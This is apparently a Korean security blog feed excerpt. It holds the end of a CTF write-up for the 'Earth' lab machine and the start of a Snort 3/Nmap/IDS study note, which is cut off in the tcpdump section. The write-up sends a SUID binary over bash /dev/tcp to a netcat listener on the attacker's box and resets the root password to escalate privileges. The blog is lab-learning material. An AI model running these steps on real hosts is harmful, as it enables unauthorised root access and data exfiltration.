&lt;p data-ke-size=&quot;size16&quot;&gt;reset_root 파일 분석&lt;/p&gt;
&lt;pre class=&quot;applescript&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;file /usr/bin/reset_root
reset_root
# &amp;rarr; RESET FAILED 출력 (조건이 충족되지 않아서)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;h2 style=&quot;color: #16213e; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;reset_root 파일을 칼리로 전송해서 분석&lt;/h2&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 8-3&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼리에서 수신 대기 (새 터미널)&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;nc -lvnp 3333 &amp;gt; reset_root&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 8-4&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Earth 쉘(bash-5.1$)에서 파일 전송&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;cat /usr/bin/reset_root &amp;gt; /dev/tcp/172.16.11.213/3333&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff0f0; color: #1a1a2e; text-align: start;&quot;&gt;⚠️&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;파일이 0 bytes로 오는 경우&lt;/b&gt;&lt;br /&gt;IP 주소가 틀렸거나, Earth 쉘에서 명령어를 입력하지 않은 경우이다.&lt;br /&gt;반드시&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;bash-5.1$ 프롬프트&lt;/b&gt;에서 입력해야 한다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;ip a로 칼리 IP 재확인!&lt;/div&gt;
&lt;div style=&quot;background-color: #fff0f0; color: #1a1a2e; text-align: start;&quot;&gt;업데이트&amp;nbsp;후에&amp;nbsp;ltrace설치해야함&amp;nbsp; &lt;br /&gt;sudo&amp;nbsp;apt&amp;nbsp;update &lt;br /&gt;sudo&amp;nbsp;apt&amp;nbsp;install&amp;nbsp;-y&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 8-5&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼리에서 파일 확인 및 ltrace로 분석&lt;/p&gt;
&lt;pre class=&quot;properties&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;ls -l reset_root          # 파일 크기 0이 아닌지 확인
sudo apt update -y
sudo apt install -y ltrace
sudo chmod +x reset_root
ltrace ./reset_root&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;&lt;b&gt;  ltrace 분석 결과 - 필요한 파일 3개 발견&lt;/b&gt;&lt;br /&gt;/dev/shm/kHgTFI5G&lt;br /&gt;/dev/shm/Zw7bV9U5&lt;br /&gt;/tmp/kcM0Wewe&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 8-6&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Earth 쉘에서 3개 파일 생성 후 reset_root 실행&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe
reset_root
# &amp;rarr; RESETTING ROOT PASSWORD TO: Earth&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 8-7&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root로 전환&lt;/p&gt;
&lt;pre class=&quot;nginx&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;su root
# 패스워드: Earth&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;&lt;b&gt;  root 계정 획득!&lt;/b&gt;&lt;br /&gt;ID: root / PW: Earth&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 style=&quot;color: #0f3460; text-align: start;&quot;&gt;STEP 8. Root Flag 획득&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 185639.png&quot; data-origin-width=&quot;803&quot; data-origin-height=&quot;685&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dcazLN/dJMcabjUAUE/rk8TbvuITsTlrMr5GCCnak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dcazLN/dJMcabjUAUE/rk8TbvuITsTlrMr5GCCnak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dcazLN/dJMcabjUAUE/rk8TbvuITsTlrMr5GCCnak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdcazLN%2FdJMcabjUAUE%2Frk8TbvuITsTlrMr5GCCnak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;803&quot; height=&quot;685&quot; data-filename=&quot;스크린샷 2026-05-12 185639.png&quot; data-origin-width=&quot;803&quot; data-origin-height=&quot;685&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 8-1&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;root 홈 디렉토리에서 flag 확인&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;cd /root
ls
cat root_flag.txt&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;&lt;b&gt;  Root Flag 획득 완료! CTF 클리어!&lt;/b&gt;&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h1 style=&quot;color: #0f3460; text-align: start;&quot;&gt;  회고 및 정리&lt;/h1&gt;
&lt;h2 style=&quot;color: #16213e; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;핵심 개념 정리&lt;/h2&gt;
&lt;table style=&quot;color: #1a1a2e; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #f8f9ff;&quot;&gt;SETUID&lt;/td&gt;
&lt;td style=&quot;background-color: #f8f9ff;&quot;&gt;파일 실행 시 소유자 권한으로 동작 &amp;rarr; 권한상승 핵심&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reverse Shell&lt;/td&gt;
&lt;td&gt;피해자가 공격자에게 연결 &amp;rarr; 방화벽 우회 가능&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #f8f9ff;&quot;&gt;base64 우회&lt;/td&gt;
&lt;td style=&quot;background-color: #f8f9ff;&quot;&gt;필터링된 명령어를 인코딩해서 우회&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ltrace&lt;/td&gt;
&lt;td&gt;실행 파일이 어떤 라이브러리 함수를 호출하는지 추적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #f8f9ff;&quot;&gt;dirb/gobuster&lt;/td&gt;
&lt;td style=&quot;background-color: #f8f9ff;&quot;&gt;웹 디렉토리/파일 브루트포스 스캐닝 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;XOR 복호화&lt;/td&gt;
&lt;td&gt;CyberChef로 암호화된 값 복호화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #16213e; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;어려웠던 점&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #1a1a2e; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CyberChef Key 입력 시 HEX/UTF8 드롭다운 설정 헷갈림&lt;/li&gt;
&lt;li&gt;nc 파일 전송 시 IP 불일치로 빈 파일(0 bytes) 전송되는 문제&lt;/li&gt;
&lt;li&gt;python3 명령어 대소문자 오타 (-C&lt;span&gt;&amp;nbsp;&lt;/span&gt;vs&lt;span&gt;&amp;nbsp;&lt;/span&gt;-c,&lt;span&gt;&amp;nbsp;&lt;/span&gt;pth&lt;span&gt;&amp;nbsp;&lt;/span&gt;vs&lt;span&gt;&amp;nbsp;&lt;/span&gt;pty)&lt;/li&gt;
&lt;li&gt;bash-5.1$ 프롬프트에서 입력해야 한다는 것을 몰라서 연결 안 됐던 것&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #16213e; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;배운 점&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #1a1a2e; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;실제 모의해킹 흐름(정보수집&amp;rarr;침투&amp;rarr;권한상승)을 직접 체험&lt;/li&gt;
&lt;li&gt;base64 우회가 왜 필요한지 이해 &amp;rarr; 방어 관점에서 base64 트래픽도 모니터링 필요&lt;/li&gt;
&lt;li&gt;SETUID 파일 하나로 root까지 올라갈 수 있다는 것의 위험성 체감&lt;/li&gt;
&lt;li&gt;IDS(Snort/Suricata)는 탐지만 가능, 차단(drop)은 IPS에서 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #16213e; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;</description>
      <category>CTF</category>
      <author>palantirops</author>
      <guid isPermaLink="true">https://palantirops.tistory.com/42</guid>
      <comments>https://palantirops.tistory.com/42#entry42comment</comments>
      <pubDate>Tue, 12 May 2026 18:52:07 +0900</pubDate>
    </item>
    <item>
      <title>[KaliLinux_Ubuntu] 보안 인프라 구축 실습 정리 | Snort 3 &amp;middot; Nmap &amp;middot; IDS/IPS</title>
      <link>https://palantirops.tistory.com/40</link>
      <description>&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;ko&quot;&gt;
&lt;head&gt;
  &lt;meta charset=&quot;UTF-8&quot; /&gt;
  &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot; /&gt;
  &lt;title&gt;보안 인프라 구축 실습 정리 | Snort 3 · Nmap · IDS/IPS&lt;/title&gt;
  &lt;style&gt;
    @import url('https://fonts.googleapis.com/css2?family=Noto+Sans+KR:wght@400;500;700&amp;family=JetBrains+Mono:wght@400;600&amp;display=swap');

    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

    :root {
      --bg: #ffffff;
      --bg2: #f8fafc;
      --bg3: #f1f5f9;
      --border: #e2e8f0;
      --text: #1e293b;
      --text2: #475569;
      --accent: #0284c7;
      --accent2: #6366f1;
      --green: #059669;
      --red: #dc2626;
      --yellow: #d97706;
      --purple: #9333ea;
      --tag-bg: #e0f2fe;
      --tag-text: #0369a1;
      --code-bg: #f8fafc;
    }

    body {
      font-family: 'Noto Sans KR', sans-serif;
      background: var(--bg);
      color: var(--text);
      line-height: 1.8;
      font-size: 16px;
    }

    /* ── 헤더 ── */
    header {
      background: linear-gradient(135deg, #f0f9ff 0%, #e0f2fe 50%, #f0f9ff 100%);
      border-bottom: 1px solid var(--border);
      padding: 64px 24px 48px;
      text-align: center;
      position: relative;
      overflow: hidden;
    }
    header::before {
      content: '';
      position: absolute;
      top: -80px; left: 50%;
      transform: translateX(-50%);
      width: 600px; height: 300px;
      background: radial-gradient(ellipse, rgba(56,189,248,0.08) 0%, transparent 70%);
      pointer-events: none;
    }
    .badge-row {
      display: flex; flex-wrap: wrap; justify-content: center;
      gap: 8px; margin-bottom: 20px;
    }
    .badge {
      font-size: 12px; font-weight: 500;
      padding: 4px 12px; border-radius: 99px;
      letter-spacing: 0.5px;
    }
    .badge-blue  { background: #e0f2fe; color: #0369a1; border: 1px solid #bae6fd; }
    .badge-green { background: #dcfce7; color: #166534; border: 1px solid #bbf7d0; }
    .badge-purple{ background: #f3e8ff; color: #7e22ce; border: 1px solid #e9d5ff; }
    h1 {
      font-size: clamp(24px, 5vw, 40px);
      font-weight: 700; color: #0f172a;
      margin-bottom: 12px; line-height: 1.3;
    }
    h1 span { color: var(--accent); }
    .subtitle {
      color: var(--text2); font-size: 15px; margin-bottom: 32px;
    }
    .env-grid {
      display: inline-flex; flex-wrap: wrap; gap: 12px;
      background: var(--bg3); border: 1px solid var(--border);
      border-radius: 12px; padding: 16px 24px;
    }
    .env-item { font-size: 13px; color: var(--text2); }
    .env-item code {
      color: var(--accent); font-family: 'JetBrains Mono', monospace;
      font-size: 12px; background: #0d1b2e; padding: 2px 6px; border-radius: 4px;
    }

    /* ── 레이아웃 ── */
    .container { max-width: 860px; margin: 0 auto; padding: 0 24px 80px; }

    /* ── 목차 ── */
    .toc {
      background: var(--bg2); border: 1px solid var(--border);
      border-radius: 12px; padding: 24px 28px; margin: 40px 0;
    }
    .toc-title {
      font-size: 13px; font-weight: 700; text-transform: uppercase;
      letter-spacing: 1px; color: var(--text2); margin-bottom: 14px;
    }
    .toc ol { padding-left: 20px; }
    .toc li { margin: 6px 0; }
    .toc a {
      color: var(--text2); text-decoration: none; font-size: 14px;
      transition: color .2s;
    }
    .toc a:hover { color: var(--accent); }

    /* ── 섹션 ── */
    section { margin-top: 56px; }
    .section-header {
      display: flex; align-items: center; gap: 12px;
      margin-bottom: 24px; padding-bottom: 12px;
      border-bottom: 1px solid var(--border);
    }
    .section-num {
      width: 32px; height: 32px; border-radius: 8px;
      background: var(--accent); color: #ffffff;
      font-size: 14px; font-weight: 700;
      display: flex; align-items: center; justify-content: center;
      flex-shrink: 0;
    }
    h2 { font-size: 22px; font-weight: 700; color: #0f172a; }
    h3 {
      font-size: 16px; font-weight: 700; color: var(--accent2);
      margin: 28px 0 12px;
    }

    /* ── 코드블럭 ── */
    .code-wrap {
      background: var(--code-bg); border: 1px solid var(--border);
      border-radius: 10px; overflow: hidden; margin: 16px 0;
    }
    .code-header {
      background: var(--bg3); padding: 8px 16px;
      display: flex; align-items: center; gap: 8px;
      border-bottom: 1px solid var(--border);
    }
    .code-dot { width: 10px; height: 10px; border-radius: 50%; }
    .dot-r { background: #ff5f57; }
    .dot-y { background: #febc2e; }
    .dot-g { background: #28c840; }
    .code-lang {
      margin-left: auto; font-size: 11px; color: var(--text2);
      font-family: 'JetBrains Mono', monospace; text-transform: uppercase;
    }
    pre {
      padding: 20px; overflow-x: auto;
      font-family: 'JetBrains Mono', monospace;
      font-size: 13.5px; line-height: 1.7; color: #1e293b;
    }
    code {
      font-family: 'JetBrains Mono', monospace;
      font-size: 13px; background: #1a2535;
      padding: 2px 6px; border-radius: 4px; color: var(--accent);
    }
    pre code { background: none; padding: 0; color: inherit; }

    /* ── 표 ── */
    .table-wrap { overflow-x: auto; margin: 16px 0; border-radius: 10px; border: 1px solid var(--border); }
    table { width: 100%; border-collapse: collapse; font-size: 14px; }
    th {
      background: var(--bg3); color: var(--text2);
      font-size: 12px; font-weight: 600; text-transform: uppercase;
      letter-spacing: 0.5px; padding: 11px 16px; text-align: left;
      border-bottom: 1px solid var(--border);
    }
    td { padding: 11px 16px; border-bottom: 1px solid #1e2535; vertical-align: top; }
    tr:last-child td { border-bottom: none; }
    tr:hover td { background: rgba(255,255,255,.02); }

    /* ── 콜아웃 ── */
    .callout {
      border-radius: 10px; padding: 16px 20px;
      margin: 16px 0; font-size: 14px; line-height: 1.7;
      border-left: 3px solid;
    }
    .callout-blue  { background: #eff6ff; border-color: var(--accent); color: #1e40af; }
    .callout-green { background: #f0fdf4; border-color: var(--green); color: #166534; }
    .callout-yellow{ background: #fffbeb; border-color: var(--yellow); color: #92400e; }

    /* ── 스텝 카드 ── */
    .step-list { display: flex; flex-direction: column; gap: 16px; }
    .step-card {
      background: var(--bg2); border: 1px solid var(--border);
      border-radius: 12px; padding: 20px 24px;
    }
    .step-label {
      font-size: 12px; font-weight: 700; color: var(--accent);
      text-transform: uppercase; letter-spacing: 1px; margin-bottom: 6px;
    }
    .step-title { font-size: 16px; font-weight: 700; color: #fff; }

    /* ── 상태 배지 ── */
    .status { display: inline-flex; align-items: center; gap: 6px; font-size: 13px; }
    .status-done { color: var(--green); }

    /* ── 룰 하이라이트 ── */
    .rule-box {
      background: #f8fafc; border: 1px solid #bbf7d0;
      border-radius: 10px; padding: 20px; margin: 16px 0;
      font-family: 'JetBrains Mono', monospace; font-size: 14px;
      line-height: 1.6; overflow-x: auto;
    }
    .hl-action  { color: #dc2626; font-weight: 600; }
    .hl-proto   { color: #d97706; }
    .hl-ip      { color: #059669; }
    .hl-arrow   { color: #64748b; }
    .hl-option  { color: #7c3aed; }
    .hl-value   { color: #0284c7; }

    /* ── 푸터 ── */
    footer {
      text-align: center; padding: 32px;
      border-top: 1px solid var(--border);
      color: var(--text2); font-size: 13px;
      background: var(--bg2);
    }
    footer a { color: var(--accent); text-decoration: none; }

    p { margin: 12px 0; color: var(--text2); font-size: 15px; }
  &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;header&gt;
  &lt;div class=&quot;badge-row&quot;&gt;
    &lt;span class=&quot;badge badge-blue&quot;&gt;  Nmap&lt;/span&gt;
    &lt;span class=&quot;badge badge-green&quot;&gt; ️ Snort 3&lt;/span&gt;
    &lt;span class=&quot;badge badge-purple&quot;&gt;  IDS / IPS&lt;/span&gt;
    &lt;span class=&quot;badge badge-blue&quot;&gt;  Ubuntu&lt;/span&gt;
  &lt;/div&gt;
  &lt;h1&gt;보안 인프라 구축 &lt;span&gt;실습 정리&lt;/span&gt;&lt;/h1&gt;
  &lt;p class=&quot;subtitle&quot;&gt;네트워크 스캔 · 패킷 분석 · Snort 3 설치 · IDS/IPS 개념 완전 정리&lt;/p&gt;
&lt;/header&gt;

&lt;div class=&quot;container&quot;&gt;

  &lt;!-- 목차 --&gt;
  &lt;nav class=&quot;toc&quot;&gt;
    &lt;div class=&quot;toc-title&quot;&gt;  목차&lt;/div&gt;
    &lt;ol&gt;
      &lt;li&gt;&lt;a href=&quot;#s1&quot;&gt;모의 해킹 프로세스 (Kill Chain)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#s2&quot;&gt;Nmap — 네트워크 스캔&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#s3&quot;&gt;tcpdump — 패킷 캡처&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#s4&quot;&gt;hping3 — DoS 공격 테스트&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#s5&quot;&gt;Snort 3 설치 전체 흐름&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#s6&quot;&gt;Snort NIC 설정 (프로미스큐어스 모드)&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#s7&quot;&gt;Snort 설정 파일 수정&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#s8&quot;&gt;룰 파일 생성 및 검증&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#s9&quot;&gt;IDS/IPS 핵심 개념 + 룰 구조&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#s10&quot;&gt;Snort vs Suricata 비교&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#s11&quot;&gt;설치 진행 상태&lt;/a&gt;&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/nav&gt;

  &lt;!-- 1. Kill Chain --&gt;
  &lt;section id=&quot;s1&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;1&lt;/div&gt;
      &lt;h2&gt;모의 해킹 프로세스 (Kill Chain)&lt;/h2&gt;
    &lt;/div&gt;
    &lt;p&gt;공격자의 시각으로 보안을 이해하는 프레임워크. 각 단계를 알아야 방어도 가능하다.&lt;/p&gt;
    &lt;div class=&quot;table-wrap&quot;&gt;
      &lt;table&gt;
        &lt;thead&gt;&lt;tr&gt;&lt;th&gt;단계&lt;/th&gt;&lt;th&gt;명칭&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
        &lt;tbody&gt;
          &lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;정찰 (Reconnaissance)&lt;/td&gt;&lt;td&gt;ping, 포트 스캔, 서비스 스캔으로 정보 수집&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;무기화 (Weaponization)&lt;/td&gt;&lt;td&gt;취약점 분석, 공격 코드 준비&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;전달 (Delivery)&lt;/td&gt;&lt;td&gt;악성 코드 전송&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;공격 (Exploitation)&lt;/td&gt;&lt;td&gt;취약점 실제 공격&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;5&lt;/td&gt;&lt;td&gt;설치 (Installation)&lt;/td&gt;&lt;td&gt;백도어 설치&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;C&amp;amp;C&lt;/td&gt;&lt;td&gt;원격 제어&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;7&lt;/td&gt;&lt;td&gt;목표 달성&lt;/td&gt;&lt;td&gt;데이터 탈취, 시스템 파괴&lt;/td&gt;&lt;/tr&gt;
        &lt;/tbody&gt;
      &lt;/table&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 2. Nmap --&gt;
  &lt;section id=&quot;s2&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;2&lt;/div&gt;
      &lt;h2&gt;Nmap — 네트워크 스캔&lt;/h2&gt;
    &lt;/div&gt;

    &lt;h3&gt;호스트 탐색 (살아있는 IP 확인)&lt;/h3&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
      &lt;/div&gt;
      &lt;pre&gt;&lt;code&gt;sudo nmap -sn 172.16.11.0/24&lt;/code&gt;&lt;/pre&gt;
    &lt;/div&gt;
    &lt;div class=&quot;callout callout-blue&quot;&gt;
      결과에서 확인할 것 → &lt;code&gt;Host is up&lt;/code&gt; (통신 가능) · &lt;code&gt;MAC Address&lt;/code&gt; (가상머신 여부 판단)
    &lt;/div&gt;

    &lt;h3&gt;자주 쓰는 옵션 모음&lt;/h3&gt;
    &lt;div class=&quot;table-wrap&quot;&gt;
      &lt;table&gt;
        &lt;thead&gt;&lt;tr&gt;&lt;th&gt;명령어&lt;/th&gt;&lt;th&gt;설명&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;
        &lt;tbody&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -sn &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;포트 스캔 없이 호스트만 탐색 (Ping Scan)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -p &amp;lt;범위&amp;gt; &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;특정 포트 범위 스캔&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -p- &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;모든 TCP 포트 스캔 (0~65535)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -sV &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;열린 포트의 서비스 버전 감지&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -O &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;운영체제 감지&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -A &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;공격적 스캔 (OS + 버전 + 스크립트 + traceroute)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -sS &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;SYN 스캔 (3-way handshake 미완성, 은밀함)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -sT &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;TCP 연결 스캔 (포트 열림/닫힘 확인)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -sU -p &amp;lt;범위&amp;gt; &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;UDP 포트 스캔&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -T&amp;lt;0-5&amp;gt; &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;속도 조절 (0=가장 느림, 5=가장 빠름)&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -iL &amp;lt;파일&amp;gt; &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;파일에서 대상 호스트 읽어서 스캔&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap --script &amp;lt;스크립트&amp;gt; &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;NSE 스크립트로 정보 수집&lt;/td&gt;&lt;/tr&gt;
          &lt;tr&gt;&lt;td&gt;&lt;code&gt;nmap -p 80,443,22 &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;td&gt;특정 포트만 스캔&lt;/td&gt;&lt;/tr&gt;
        &lt;/tbody&gt;
      &lt;/table&gt;
    &lt;/div&gt;
  &lt;/section&gt;

  &lt;!-- 3. tcpdump --&gt;
  &lt;section id=&quot;s3&quot;&gt;
    &lt;div class=&quot;section-header&quot;&gt;
      &lt;div class=&quot;section-num&quot;&gt;3&lt;/div&gt;
      &lt;h2&gt;tcpdump — 패킷 캡처&lt;/h2&gt;
    &lt;/div&gt;
    &lt;p&gt;패킷을 실시간으로 캡처하는 도구. 어떤 트래픽이 오가는지 확인할 때 사용.&lt;/p&gt;
    &lt;div class=&quot;code-wrap&quot;&gt;
      &lt;div class=&quot;code-header&quot;&gt;
        &lt;span class=&quot;code-dot dot-r&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-y&quot;&gt;&lt;/span&gt;&lt;span class=&quot;code-dot dot-g&quot;&gt;&lt;/span&gt;
        &lt;span class=&quot;code-lang&quot;&gt;bash&lt;/span&gt;
      &lt;/div&gt;
